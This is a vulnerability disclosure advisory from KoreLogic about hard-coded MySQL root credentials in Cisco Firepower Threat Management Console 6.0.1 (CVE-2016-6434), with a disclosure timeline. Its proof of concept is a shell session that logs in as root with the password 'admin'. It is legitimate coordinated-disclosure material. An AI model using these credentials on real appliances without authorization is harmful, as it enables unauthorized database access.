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Security Advisory

Cisco Firepower Threat Management Console Hard-coded MySQL Credentials

Advisory ID
KL-001-2016-005
Published
2016-10-05
Vendor
Cisco

Affected Systems

Product
Firepower Threat Management Console
Version
Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials
Impact: Authentication Bypass
CVE ID: CVE-2016-6434

Vulnerability Description

The root account for the local MySQL database has poor password complexity.

Technical Description

root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Sourcefire         |
| external_data      |
| external_schema    |
| mysql              |
| performance_schema |
| sfsnort            |
+--------------------+
7 rows in set (0.00 sec)

mysql>

Note that mysqld listens only on loopback, so a remote attacker would have to leverage some other condition to be able to reach the mysql daemon.

Mitigation and Remediation Recommendation

The vendor has acknowledged this vulnerability but has not released a fix for the issue. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See Technical Description

The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic sends vulnerability report and PoC to Cisco.

Cisco acknowledges receipt of vulnerability report.

KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product.

30 business days have elapsed since the vulnerability was reported to Cisco.

45 business days have elapsed since the vulnerability was reported to Cisco.

KoreLogic asks for an update on the status of the remediation efforts.

Cisco confirms remediation is underway and soon to be completed.

Cisco informs KoreLogic that the acknowledgement details will be released publicly on 2016.10.05.

Public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable